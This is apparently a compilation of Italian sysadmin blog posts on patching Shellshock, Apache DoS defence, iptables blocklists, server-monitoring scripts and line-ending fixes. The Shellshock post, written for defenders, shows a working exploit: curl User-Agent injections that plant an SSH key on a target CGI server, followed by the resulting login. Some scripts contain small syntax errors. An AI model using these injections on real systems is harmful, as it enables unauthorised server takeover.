

# Shellshock vulnerability BASH

## **BASH CVE-2014-6271 vulnerability**

Vulnerabilità grave della bash, la command line più diffusa dei sistemi Linux, associata all'utilizzo delle CGI consente di prendere il controllo del server.

Secondo Robert Graham, esperto di sicurezza di Errata Security, la falla che interessa Bash è probabilmente molto più grande e rischiosa di Heartbleed, l'enorme falla di Internet legata al sistema OpenSSL emersa lo scorso aprile.

- [CentOS](#)
- [Debian](#)
- [Redhat\(link is external\)](#)
- [Ubuntu](#)

I sistemi impattati sono principalmente le distribuzioni basate su RHEL, Debian, ma tutte quelle che usano la bash sono a rischio vulnerabilità.

<http://youtu.be/ArE0VHQu9nk>

La risoluzione è molto semplice, per le RHEL based, quindi RHEL stessa, Fedora, CentOS basta eseguire l'upgrade della bash:

```
yum upgrade bash
```

Mentre per le Debian based:

```
apt-get update; apt-get install bash
```

Per Debian 6 potrebbe essere necessario cambiare il repository nel file source.list, è possibile scaricare uno script che esegue la verifica della vulnerabilità sulla bash e poi esegue l'upgrade, scarica il file ZIP da estrarre sul sistema "[shellshock.zip](#)", estrai il pacchetto, dai i permessi di esecuzione e lancialo:

```
wget
http://www.lbit-solution.it/wp-content/plugins/download-monitor/download.php?id=13
unzip shellshock.zip
chmod +zx shellshock.sh
./shellshock.sh
```

Lo script scrive nella directory /root/ il file shellshock.txt, al suo interno sono presenti le informazioni della bash e la presenza della vulnerabilità prima e dopo l'upgrade.

Per testare se la versione della BASH è afflitta dalla vulnerabilità CVE-2014-6271 basta lanciare questo comando:

```
env x='() { :}; echo vulnerabile' bash -c "echo prova"
```

Se riceviamo a video la parola “vulnerabile” e poi “prova” vuol dire che dobbiamo eseguire l’upgrade, nel caso ci fosse solo “prova” oppure “bash: warning: x: ignoring function definition attempt” vuol dire che la BASH in uso non è vulnerabile.

## **Perché avere paura del shellshock e chi deve correre ai ripari:**

La vulnerabilità descritta in questo articolo consente di prendere il pieno controllo del server bersaglio solo se tale server ha in uso le CGI, questo perché è possibile inserire il settaggio si “X” con le istruzioni di nostro interesse nell’environment del server sfruttando l’HTTP\_AGENT.

```
curl -k -H 'User-Agent: () { :}; /bin/mkdir /var/www/.ssh'  
http://BERSAGLIO/cgi-bin/script.py  
curl -k -H 'User-Agent: () { :}; echo "ssh-rsa AAAAB3wAAAQEA[...]JXIQ== www-  
data@testserv" \  
>/var/www/.ssh/authorized_keys' http://BERSAGLIO/cgi-bin/script.py  
ssh www-data@BERSAGLIO  
www-data@BERSAGLIO:~$ uname -a  
Linux BERSAGLIO 2.6.32-431.11.2.el6.x86_64 #1 SMP Tue Mar 25 19:59:55 UTC  
2014 x86_64 x86_64 x86_64 GNU/Linux
```

Cosa abbiamo fatto: avevamo precedentemente individuato sul server BERSAGLIO la presenza delle CGI e dello script script.py, con il curl gli abbiamo inviato una richiesta falsando il nostro “User-Agent”, nel suo interno sfruttiamo la vulnerabilità inserendo la creazione di una directory :

```
User-Agent: () { :}; /bin/mkdir /var/www/.ssh
```

gli passiamo la nostra chiave per poter effettuare accesso in SSH

```
User-Agent: () { :}; echo "ssh-rsa AAAAB3wAAAQEA[...]JXIQ== www-  
data@testserv" \  
>/var/www/.ssh/authorized_keys
```

ora abbiamo completo accesso al terminale.

Questa vulnerabilità deve spaventare chi espone su internet un web server, tutti gli altri sistemi che erogano un servizio diverso hanno meno probabilità di essere bucati, ma comunque è sempre meglio fare l’upgrade della bash.

Per i sistemi Debian e Debian based non supportati, come la 5 c’è questo script pubblicato su

[“https://dmsimard.com/2014/09/25/the-bash-cve-2014-6271-shellshock-vulnerabil](https://dmsimard.com/2014/09/25/the-bash-cve-2014-6271-shellshock-vulnerabil)

[ity/](#)"

```
#!/bin/bash
# dependencies
apt-get update; apt-get install build-essential gettext bison

# get bash 3.2 source
wget http://ftp.gnu.org/gnu/bash/bash-3.2.tar.gz
tar zxvf bash-3.2.tar.gz
cd bash-3.2

# download and apply all patches, including the latest one that patches
CVE-2014-6271
# Note: CVE-2014-6271 is patched by release 52.
# Release 53 is not out on the GNU mirror yet - it should address
CVE-2014-7169.
for i in $(seq -f "%03g" 1 52); do
    wget -nv http://ftp.gnu.org/gnu/bash/bash-3.2-patches/bash32-$i
    patch -p0 < bash32-$i
done

# compile and install to /usr/local/bin/bash
./configure && make
make install

# point /bin/bash to the new binary
mv /bin/bash /bin/bash.old
ln -s /usr/local/bin/bash /bin/bash
```

---

## [DoS Apache - IDS e Firewall HTTP](#)

### **DoS Apache – Prevenire attacchi Denial of Service e Distributed Denial of Service con mod\_evasive e mod\_security**

#### **MOD EVASIVE**

Proteggere il nostro webserver senza ricorrere a sistemi IDS particolarmente complessi o costosi è possibile, mod\_evasive e mod\_security sono i due moduli da installare e configurare per prevenire attacchi per Denial of Service

(Dos) e Distributed Denial of Service (DDoS), il primo lavora come un IDS, mentre il secondo usa delle regole simili ad un firewall.

Iniziamo impostando i valori di Timeout e KeepAlive:

- La direttiva **RequestReadTimeout** consente di limitare il tempo di un client per effettuare una richiesta .
- Il valore della direttiva **TimeOut** dovrebbe essere abbassato su siti che sono oggetto di attacchi DoS , è opportuno impostare questo a partire da un paio di secondi . Un valore troppo basso porterà problemi con l'esecuzione di script CGI che richiedono molto tempo per il loro completamento.
- Il parametro per la direttiva **KeepAliveTimeout** può essere abbassato anche su siti che sono oggetto di attacchi DoS . Disattivare il **KeepAlive** con impostazione Off, così come accade per alcuni siti, produce inconvenienti prestazionali, se impostata su On, *permette di usare, come da specifiche HTTP/1.1, la stessa connessione TCP per inviare più file, è pertanto consigliata questa configurazione, che evita l'apertura di una connessione TCP per ogni richiesta HTTP.*

Il mod\_evasive intercetta e blocca un determinato indirizzo IP che svolge un determinato numero di richieste in un breve lasso di tempo.

Prima di procedere installiamo alcuni pacchetti fondamentali

```
# yum install make autoconf
# yum install gcc httpd-devel pcre-devel
# yum install libxml2 libxml2-devel curl curl-devel
```

Passiamo all'installazione, può essere fatta tramite yum:

```
# yum install -y mod_evasive
```

oppure scaricando il pacchetto e compilandolo:

```
# cd /usr/src
# wget
http://www.zdziarski.com/blog/wpcontent/uploads/2010/02/mod_evasive_1.10.1.tar.gz
# tar xzf mod_evasive_1.10.1.tar.gz
# cd mod_evasive
# apxs -cia mod_evasive20.c
```

Passiamo ora alla configurazione:

```
# vi /etc/httpd/conf/httpd.conf
```

Abilitiamo il modulo e inseriamo le direttive:

```
LoadModule evasive20_module /usr/lib64/httpd/modules/mod_evasive20.so
```

Editiamo il file

```
# vim /etc/httpd/conf.d/mod_evasive.conf
```

Inseriamo le entry di base:

```
# mod_evasive configuration
LoadModule evasive20_module modules/mod_evasive20.so
<IfModule mod_evasive20.c>
    DOSHashTableSize    3097
    DOSPageCount        2
    DOSSiteCount        50
    DOSPageInterval     1
    DOSSiteInterval     1
    DOSBlockingPeriod   10
    DOSEmailNotify      dos@lbit-solution.it
    #DOSSystemCommand    "su - someuser -c '/sbin/... %s ...'"
    DOSLogDir            "/var/log/httpd/mod_evasive"
    DOSWhitelist        95.110.245.202
    #DOSWhitelist        192.168.0.*
</IfModule>
```

Ora vediamo nel dettaglio le direttive:

- **DOSHashTableSize**: dimensione della tabella di hash per la collezione dei dati di campionamento.
- **DOSPageCount**: identifica la soglia di richiesta di una stessa pagina da parte di un host in un certo intervallo di tempo.
- **DOSSiteCount**: identifica la soglia di richiesta di un qualsiasi oggetto da parte di un host in un certo intervallo di tempo.
- **DOSPageInterval**: intervallo di tempo per la soglia del parametro **DOSPageCount** in secondi.
- **DOSSiteInterval**: intervallo di tempo per la soglia del parametro **DOSSiteCount** in secondi.
- **DOSBlockingPeriod**: parametro che specifica l'intervallo di tempo utilizzato per mostrare l'http error 403 ai client che stanno eseguendo un probabile attacco DoS.
- **DOSEmailNotify**: parametro che specifica l'indirizzo mail al quale inviare una mail di notifica, se un certo indirizzo IP sta eseguendo un probabile attacco Dos.
- **DOSWhitelist**: con questo parametro è possibile aggiungere una lista di IP che non devono essere bloccati dal modulo, nella configurazione di esempio abbiamo applicato la regola per l'indirizzo IP 95.110.245.202
- **DOSLogDir**: specifica un path alternativo alla temp directory per la collezione dei dati.
- **DOSSystemCommand**: lancia uno specifico comando quando viene superata la soglia da parte di un client. Per ricavare l'indirizzo IP che ha sfornato la soglia si deve usare la variabile "%s".

Per testare che tutto sia funzionante, e che le nostre richieste vengano bloccate possiamo usare uno script PERL:

```
#!/usr/bin/perl
# test.pl: small script to test mod_dosevasive's effectiveness
use IO::Socket;
use strict;
for(0..100) {
    my($response);
    my($SOCKET) = new IO::Socket::INET( Proto => "tcp",
                                        PeerAddr=> "127.0.0.1:80");

    if (! defined $SOCKET) { die $!; }
    print $SOCKET "GET /?$_ HTTP/1.0\n\n";
    $response = <$SOCKET>;
    print $response;
    close($SOCKET);
}

```

Il risultato del test sarà il seguente:

```
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden

```

## MOD SECURITY

Anche per il mod\_security vale la stessa regola del mod\_evasive per l'installazione, possiamo scegliere se installarlo tramite repository oppure compilarlo.

Installazione tramite yum:

```
# yum install mod_security

```

Oppure scaricare il pacchetto ed installarlo:

```
# cd /usr/src
# wget http://www.modsecurity.org/download/modsecurity-apache_2.6.6.tar.gz
# tar xzf modsecurity-apache_2.6.6.tar.gz
# cd modsecurity-apache_2.6.6
# ./configure
# make install
# cp modsecurity.conf-recommended /etc/httpd/conf.d/modsecurity.conf

```

## File di configurazione di mod\_security

1. `/etc/httpd/conf.d/mod_security.conf` – file di configurazione principale del modulo `mod_security` di Apache
2. `/etc/httpd/modsecurity.d/` – tutti gli altri file di configurazione modulo Apache `mod_security`.
3. `/etc/httpd/modsecurity.d/modsecurity_crs_10_config.conf` – La configurazione presente in questo file deve essere personalizzata in base alle vostre esigenze prima di essere messa in esercizio.
4. `/var/log/httpd/modsec_debug.log` – Usa i messaggi di debug per il debugging e altri problemi
5. `/var/log/httpd/modsec_audit.log` – Tutte le richieste che attivano ModSecurity (come rilevato) o gli errori server (“RelevantOnly”) vengono scritti nel file di log.

Editiamo il file `/etc/httpd/modsecurity.d/modsecurity_crs_10_config.conf`

```
# vi /etc/httpd/modsecurity.d/modsecurity_crs_10_config.conf
```

E attiviamo la protezione del webserver

```
# SecRuleEngine On
```

Riavviamo il servizio `httpd`

```
# service httpd restart
```

Vediamo dal file di log se non si sono problemi:

```
# tail -f /var/log/httpd/error_log
```

Abbiamo terminato l’installazione dei due moduli che ridurranno gli attacchi, ora in base all’hardware e alle proprie esigenze andranno configurati tutti i servizi.

Scarica il PDF [Proteggere Apache da attacchi DoS e DDoS](#).

---

## [Svuotare directory con rsync](#)

**Problema: svuotare al cache dei apache in poco**

## **tempo.**

Il modulo `mod_disk_cache.c` di apache velocizza l'erogazione dei contenuti appoggiando la cache all'interno di una directory.

Arriva il giorno che devi necessariamente svuotare questa directory e non puoi usare il comando `htcacheclean`, la cosa più ovvia da fare è usare:

```
rm -Rf /var/cache/mod_disk
```

Restiamo a guardare il terminale fermo, immobile e lo spazio disco diminuire lentamente, ma proprio lentamente, questo perché i dati come numerosità sono tantissimi e come dimensione circa 20 Giga, per rimuovere la directory abbiamo dovuto fermare il demone HTTPD e non erogare più il servizio WEB, a questo punto spostiamo la scrittura della cache, facciamo partire Apache 2 e sfruttiamo il comando ***rsync*** per velocizzare lo svuotamento della directory. Non la cancelleremo ma la svuoteremo, visto che l'eliminazione era decisamente lunga.

Solitamente ***rsync*** si utilizza per sincronizzare due directory, se usiamo questo comando per sincronizzare una dir vuota con l'opzione `-delete`, allora sincronizzeremo la piena con la vuota cancellando quello che è presente nella piena ma non nella vuota.

```
mkdir /var/cache/vuota
rsync -a /var/cache/vuota/ /var/cache/mod_disk --delete
rm -Rf /var/cache/vuota /var/cache/mod_disk
```

Il comando `rsync` impiega un quarto del tempo del comando `rm`.

---

## **[\[NETFILTER\] Bloccare lista di IP con iptables](#)**

### **Aumentare la sicurezza del nostro firewall bloccando gli indirizzi IP noti per attacchi**

Il sito internet [BLOCKLIST.DE](http://blocklist.de) mette a disposizione file txt contenenti gli indirizzi IP che hanno attaccato i loro clienti nelle ultime 48 ore.

E' possibile scaricarsi le liste suddivise per attacco, SSH, DDOS, FTP, MAIL, SPAM, ecc.. oppure una lista completa di tutti gli IP all'indirizzo <http://lists.blocklist.de/lists/>.



Vediamo ora come interagire con il nostri iptables senza modificare la configurazione ottimale raggiunta con ore ed ore di test.

Uno script bash si occupa di scaricare la lista dal sito [blocklist.de](http://blocklist.de), ne legge il suo contenuto e, prima prova a togliere la regola per evitare di avere regole ridondanti:

```
/sbin/iptables -D INPUT -t filter -s $blkip -j DROP 2> /dev/null
```

e poi ne applica una

```
/sbin/iptables -A INPUT -t filter -s $blkip -j DROP
```

per ultima cosa scrive il comando per la rimozione della regola in un file, in modo da poterlo richiamare qualora si volesse pulire la catena di INPUT dagli IP sella black list senza buttare giù il firewall.

```
echo "/sbin/iptables -D INPUT -t filter -s $blkip -j DROP" >> $DROPRULE
```

Di seguito lo script, da lanciare con `./iptables-blk.sh start`

```
#!/bin/sh
start(){
echo "start"
BLACKFILE="/usr/local/etc/blacklist.txt"
DROPRULE="/usr/local/etc/blacklistdrop.txt"
BLOCKLIST_URL="http://lists.blocklist.de/lists/all.txt"
> $DROPRULE
curl $BLOCKLIST_URL |grep -oE
'((1?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\.){3}(1?[0-9][0-9]?|2[0-4][0-9]|25[0-5])' > $BLACKFILE
if [ $? -eq 0 ]
then
for blkip in `cat $BLACKFILE`; do
echo "ACCESSO NEGATO A: $blkip"
/sbin/iptables -D INPUT -t filter -s $blkip -j DROP 2>/dev/null
/sbin/iptables -A INPUT -t filter -s $blkip -j DROP
echo "/sbin/iptables -D INPUT -t filter -s $blkip -j DROP" >> $DROPRULE
done
else
echo "$BLOCKLIST_URL ERROR"
fi
}

stop(){
DROPRULE="/usr/local/etc/blacklistdrop.txt"
echo "stop"
```

```
cat $DROPRULE|while read resetrule; do
echo "$resetrule"
$(($resetrule)
done
}

restart(){
stop
sleep 5
start
}

case "$1" in
start)
start
;;
stop)
stop
;;

restart)
restart
;;
*)
echo "Usage: firewall {start|stop|restart}"
exit 1
esac

exit 0
```

---

## [Monitoraggio Web Server con mail e sms alerting](#)

**Esigenza: monitorare il servizio erogato da alcuni server e ricevere allarmi via MAIL e SMS in caso di degrado o fermo servizio**

Lo script qui sotto potrebbe sembrare molto complesso ma realmente sono pochissimi comandi della bash che, in base al risultato ottenuto, producono dei file, uno è l'html per la mail, l'altro è un file PHP per l'invio di SMS utilizzando Subito SMS come gateway SMS.

Il servizio da monitorare è Apache e MySQL, utilizzeremo bash e PHP per fare questo.

Per prima cosa creiamo un file php da mettere su ogni server che vogliamo monitorare, noi abbiamo inserito una semplice connessione al DB:

```
<?php
$link = mysql_connect('127.0.0.1','username','password');
  if (!$link) { die('<h1>Could not connect to MySQL: </h1>' .
mysql_error());
  } echo '<h1>Connection OK</h1>'; mysql_close($link);
  //usleep(17000000);
?>
```

abbiamo messo il file chk.php nella root directory dei rispettivi web server.

Lo script in bash è poi lanciato da un server collegato ad una linea ADSL 7Mb/s residenziale, non in una farm con connettività 100Mb/s.

Per prima cosa verificiamo che abbiamo connettività, facciamo un ping a google.it, siamo sicuri che al 99.99% il server è UP e la mancata risposta deriverà per altri fattori, fatto questo prendiamo il risultato e controlliamo che la risposta del PING sia soddisfacente e che nel momento di esecuzione dello script non ci sia un degrado di linea.

Superati i controlli della linea ADSL da cui effettuiamo i check, tramite il comando "wget" scarichiamo il file chk.php, il quale per produrre l'HTML dovrà connettersi al DB, in questo modo riusciamo a controllare che l'istanza MYSQL è UP e che risponde in tempi accettabili, ora in base all'esito ci regoliamo di conseguenza:

1. Il file viene scaricato, procediamo con il controllo del tempo impiegato per il download
2. Il file non viene scaricato, proviamo ad effettuare il riavvio del demone HTTPD

Nel caso uno decidiamo un tempo entro il quale i valori sono normali, superato questo tempo inviamo una mail indicando tutti i parametri, il ping verso google.it per capire lo stato della linea ADSL, il ping verso il server e tutto quello che riteniamo necessario, stessa cosa con l'SMS.

Nel caso due apriamo una connessione SSH e da remoto lanciamo il comando per il restart del demone, i sistemi sono tutti CentOS, quindi il comando è univoco "/etc/init.d/httpd restart", aspettiamo 5 secondi e vediamo se ora è possibile scaricare il file, ora ci troviamo di nuovo davanti a due possibilità:

1. Il file viene scaricato
2. Il file non viene scaricato

Caso uno, inviamo solo una mail per avvisare che il servizio è garantito ma c'è stato bisogno del restart di APACHI, nel secondo caso prepariamo sia la MAIL che l'SMS per avvisare che il sistema è fermo.

L'SMS lo troviamo più affidabile della mail, anche per copertura di rete, problemi con mail server, mailbox piena, ecc..., potrebbero esserci mille

problemi per i quali non leggiamo la posta, ma un SMS è più immediato.

Si seguito lo script utilizzato:

```
#!/bin/bash
# LANCIARE LO SCRIPT PASSANDOGLI
# L'INDIRIZZO IP DA CONTROLLARE

ping google.it -c 2
if [ $? -eq 0 ]; then # SE HO CONNETTIVITA' PROSEGUO
    GPING=$(ping -c 2 google.it|awk -F"=" '{print $4}'|sed -e '/^$/d'|tail
-1|awk -F\ . '{print $1}')
    PINGSERVER=$(ping -c 2 $1|awk -F"=" '{print $4}'|sed -e '/^$/d'|tail -1|awk
-F\ . '{print $1}')

    # SE LA RETE E' LENTA ESCO DALLO SCRIPT
    if [ "`echo $GPING`" -gt "240" ]; then
        echo "IMPOSSIBILE VERIFICARE LO STATO DEI SERVER, RETE CERRETO GUIDI
LENTA"
    else

#PREPARO LO SCRITP PHP PER L'INVIO DEGLI SMS
cat > /tmp/ERRORSMS.php << MOS0123
<?php
$username="username";
$password="password";
$mittente="SERVER DOWN";
$credito_terminato=10;
$email="supporto@lbit-solution.it";
$lunghezza=160;
$server_credito_residuo="http://www.subitosms.it/gateway.php?username=".urlencode($username)."&password=".urlencode($password);
$destinatario="+393391234567,+393491234567,+393397654321";
$credito=trim(file_get_contents($server_credito_residuo));

if ($credito=='non autorizzato') {
mail($email,
'Script di invio SMS',
"Lo script per l'invio degli SMS non funziona, forse hai sbagliato la
password.",
"From: sms@lbit-solution.it");
echo "<meta http-equiv=\"Refresh\" content=\"0;URL=$pagina_ko\" />";
}

$credito=str_replace("credito:", "", $credito);

// Verifica il credito e avvisa in caso di credito in fase finale
if ($credito<=$credito_terminato) {
mail($email,
'Script di invio SMS - credito residuo',
```

```
"Lo script per l'invio ha un residuo di \${credito SMS}.",
"From: sms@lbit-solution.it");

}
```

MOS0123

```
#FINE PREPARO LO SCRIP PHP PER L'INVIO DEGLI SMS
```

```
# VERIFICO CHE SIA STATO PASSATO L'INDIRIZZO IP DA CONTROLLARE
```

```
if [ -z $1 ]; then
```

```
    echo "SEI UN IDIOTA, QUESTO SCRIPT MANDA SMS"
```

```
cat > /tmp/alert_server.html <<DT
```

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
```

```
<html>
```

```
<head>
```

```
<meta http-equiv="content-type" content="text/html; charset=windows-1250">
```

```
<title>IDIOTA USA SCRIPT</title>
```

```
<p>Un idiota si &egrave; collegato in SSH e sta lanciando lo script per il
monitoraggio dei server di
esercizio senza avergli passato il parametro INDIRIZZO IP allo script stesso.
```

```
Se non ci fosse questo
```

```
controllo ora andrebbero buttati diversi eurini guadagnati con il sudore, o
quasi. Ora hai il coraggio
```

```
di avvisare uno dei numeri in elenco per dirgli che hai fatto una
cavolata?<br />
```

```
Domenico Tricarico 3391234567<br />
```

```
Roberto Massimi 3491234567<br />
```

```
Mirko Capasso 3397654321</p>
```

```
<p><b>$(hostname)</b> dice: <span >$(/usr/bin/fortune)</span></p>
```

```
DT
```

```
(cat <<EOCAT
```

```
Subject: IDIOTA CONNESSO
```

```
MIME-Version: 1.0
```

```
Content-Type: text/html
```

```
Content-Disposition: inline
```

```
From:$(hostname) <no-replay@lbit-solution.it>
```

```
Reply-To:Supporto LBiT<supporto@lbit-solution.it>
```

```
EOCAT
```

```
cat /tmp/alert_server.html) | /usr/sbin/sendmail supporto@lbit-solution.it
```

```
# HO INVIATO LA MAIL PERCHE' NON HAI PASSATO L'IP DA CONTROLLARE
```

```
else
```

```
    time_sito=`(time -p wget http://$1/chk.php > /dev/null) 2>&1 | grep
real|awk '{print $2}'|awk -F\ . '{print $1}'`
```

```
    if [ -e chk.php ]; then # SE IL FILE ESISTE
```

```
        echo "FILE TROVATO, PROSEGUO CON I CONTROLLI SUL TEMPO DI DOWNLOAD"
```

```
        if [ "`echo $time_sito`" -gt "15" ]; then # VERIFICO IL TEMPO DI
DOWNLOAD
```

```
# IL DOWNLOAD DELLA PAGINA E' AVVENUTO IN TROPPO TEMPO
```

```
echo "SERVER $1 LENTO"
```

```
cat >> /tmp/ERRORSMS.php << MOS01232
\${testo}="Server $1 eroga un pessimo servizio. Download page in $time_sito
secondi ASSISTENZA ARUBA 05750501";
\${server_invio}=\${server_credito_residuo}="&testo=".urlencode(\${testo}).
"&mitt=".urlencode(\${mittente}).
"&dest=".urlencode(\${destinatario});
\${invio}=trim(file_get_contents(\${server_invio}));
?>
MOS01232
```

```
/usr/bin/php /tmp/ERRORSMS.php
echo "INVO SMS IN CORSO"
```

```
cat > /tmp/alert_server.html <<DT2
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1250">
<title>Alert Server $1 down</title>
</head>
<body>
<h1 >$1 SERVIZIO SCADENTE</h1>
<h3>Il server sta erogando un pessimo servizio, verificare!</h3>

<p>Probabilmente il server $1 ha problemi, la rete da cui sto testando
&grave; perfettamente
funzionante, riesco a raggiungere google in $(echo $GPING) ms e il server $1
in $($PINGSERVER) ms.<p>

<p>Intervenire subito sul server <b>$1</b> e contattare i seguenti
riferimenti:<br />
Domenico Tricarico 3391234567<br />
Roberto Massimi 3491234567<br />
Mirko Capasso 3397654321</p>

<p>Se non &grave; possibile accedere contattare <b>ASSISTENZA ARUBA <span
>05750501</span></b><p>

<p><b>$(hostname)</b> dice: <span >$(/usr/bin/fortune)</span></p>
DT2
```

```
(cat <<EOCAT2
Subject: [$1] SERVER EROGA UN PESSIMO SERVIZIO
MIME-Version: 1.0
Content-Type: text/html
Content-Disposition: inline
From:$(hostname) <no-replay@lbit-solution.it>
```

To: Supporto LBiT<supporto@lbit-solution.it>

Reply-To:Supporto LBiT<supporto@lbit-solution.it>

EOCAT2

```
cat /tmp/alert_server.html) | /usr/sbin/sendmail supporto@lbit-solution.it
    echo "INVIO MAIL IN CORSO"
    rm /tmp/ERRORSMS.php
    rm /tmp/alert_server.html
    rm chk.php
else # SE IL FILE ESISTE IL SERVER E' FUNZIONANTE
    echo "SERVER $1 REGOLARE"
    fi # FINE SE IL FILE ESISTE
    rm chk.php
```

```
else # SE IL FILE NON ESISTE IL SERVER NON EROGA SERVIZIO O NON E'
RAGGIUNGIBILE
```

```
    echo "SERVER $1 FERMO"
    echo "RESTART DEL DEMONE HTTPD SUL SERVER $1"
    ssh $1 "/etc/init.d/httpd restart"
    sleep 5
    time_sito=`(time -p wget http://$1/chk.php > /dev/null) 2>&1 | grep
real|awk '{print $2}'|awk -F\. '{print $1}'`
    if [ -e chk.php ]; then
        echo "SERVER DI NUOVO ONLINE"
        # INVIO MAIL PER SERVER DI NUOVO ONLNE
```

```
cat > /tmp/alert_server.html <<DT3
```

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
```

```
<html>
```

```
<head>
```

```
<meta http-equiv="content-type" content="text/html; charset=windows-1250">
```

```
<title>APACHE RESTART</title>
```

```
</head>
```

```
<body>
```

```
<h1 >APACHE RESTART</h1>
```

```
<h3>Il server $1 &grave; di nuovo online</h3>
```

```
<p>Probabilmente il server $1 aveva il demone APACHE down, dopo aver
```

```
effettuato un restart &grave; tornato nuovamente on-line e ora i servizi
erogati sono nuovamente garantiti.<br />
```

```
La rete da cui sto testando &grave; perfettamente funzionante, riesco a
raggiungere google in $(echo $GPING) ms.<p>
```

```
<p>Di seguito il risultato del comando uptime:<br />
```

```
$(ssh $1 "uptime")</p>
```

```
<p><b>$(hostname)</b> dice: <span >$(/usr/bin/fortune)</span></p>
```

```
DT3
```

```
(cat <<EOCAT3
```

```
Subject: [$1] RESTART APACHE
```

```
MIME-Version: 1.0
```

```
Content-Type: text/html
```

```
Content-Disposition: inline
```

```
From:$(hostname) <no-replay@lbit-solution.it>
```

```

To: Supporto LBiT<supporto@lbit-solution.it>
Reply-To:Supporto LBiT<supporto@lbit-solution.it>
EOCAT3
cat /tmp/alert_server.html) | /usr/sbin/sendmail supporto@lbit-solution.it
echo "INVIO MAIL IN CORSO"
# FINE INVIO MAIL PER SERVER DI NUOVO ONLNE
exit 0
fi
cat > /tmp/alert_server.html <<DT3
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1250">
<title>Alert Server $1 down</title>
</head>
<body>
<h1>$1 SERVIZI NON EROGATI</h1>
<h3>Il $1 non sta erogando servizi, verificare!</h3>
<p>Probabilmente il server $1 &egrave; spento o non raggiungibile, la rete da
cui sto testando &egrave; perfettamente
funzionante, riesco a raggiungere google in $(echo $GPING) ms.<p>

<p>Intervenire subito sul server <b>$1</b> e contattare i seguenti
riferimenti:<br />
Domenico Tricarico 3391234567<br />
Roberto Massimi 3491234567<br />
Mirko Capasso 3397654321</p><br />
<p>Se non &egrave; possibile accedere contattare <b>ASSISTENZA ARUBA <span
>05750501</span></b><p>
<p><b>$(hostname)</b> dice: <span >$(/usr/bin/fortune)</span></p>
DT3
(cat <<EOCAT3
Subject: [$1] ALERT SERVER DOWN
MIME-Version: 1.0
Content-Type: text/html
Content-Disposition: inline
From:$(hostname) <no-replay@lbit-solution.it>
To:Supporto LBiT<supporto@lbit-solution.it>
Reply-To:Supporto LBiT<supporto@lbit-solution.it>
EOCAT3
cat /tmp/alert_server.html) | /usr/sbin/sendmail supporto@lbit-solution.it
echo "INVIO MAIL IN CORSO"

cat >> /tmp/ERRORSMS.php << MOS01233
\${testo}="Server $1 non raggiungibile, ASSISTENZA ARUBA 05750501";
\${server_invio}=\${server_credito_residuo}="&testo=".urlencode(\${testo}).
"&mitt=".urlencode(\${mittente}).
"&dest=".urlencode(\${destinatario});
\${invio}=trim(file_get_contents(\${server_invio}));
?>
MOS01233

```



```
    /usr/bin/php /tmp/ERRORSMS.php
    echo "INVIO SMS IN CORSO"
    fi # CHIUDO SE ESISTE
  fi
fi
fi

touch /tmp/hogirato
```

Per finire mettiamo lo script in crontab:

```
02,12,22,32,42,52 * * * * /media/backup/check_server.sh 92.160.243.55
03,13,23,33,43,53 * * * * /media/backup/check_server.sh 95.160.243.56
04,14,24,34,44,54 * * * * /media/backup/check_server.sh 95.160.243.57
05,15,25,35,45,55 * * * * /media/backup/check_server.sh 95.160.243.58
```

---

## ^M carattere di fine riga

Il carattere ^M è il simbolo di fine riga utilizzato dagli editor windows e mal interpretati da unix/linux.

Prendiamo questo file, scritto con il notepad:

```
$ cat appo.sh
#!/bin/bash
echo "ciao"
```

Questo dovrebbe stampare "ciao", ma se eseguito va in errore:

```
$ ./appo.sh
./appo.sh: line 2: $'\r': command not found
```

Se aggiungiamo l'opzione -v al cat, vediamo che...

```
$ cat -v appo.sh
#!/bin/bash^M
^M
echo "ciao"^M
```

Ops.. i ^M.. questi vengono interpretati come caratteri e non come "a capo"..  
ripuliamo il file..

abbiamo un modo velocissimo per rimediare, dalla shell, sia usando un comando apposito sia utilizzando il perl, il risultato è lo stesso.

Dalla shell, digitate:

```
dos2unix appo.sh
```

Questo sovrascrive il file stesso convertendo i ^M (nelle versioni linux, nelle unix dovete indirizzare su un nuovo file).

```
$ dos2unix appo.sh
dos2unix: converting file appo.sh to Unix format ...
$ cat -v appo.sh
#!/bin/bash
echo "ciao"
```

oppure, per utilizzare il perl, digitate:

```
$ perl -pi -e 's/\r//g' appo.sh
$ cat -v appo2.sh
#!/bin/bash
echo "ciao"
```

Adesso funziona..

```
$ ./appo.sh
ciao
```

---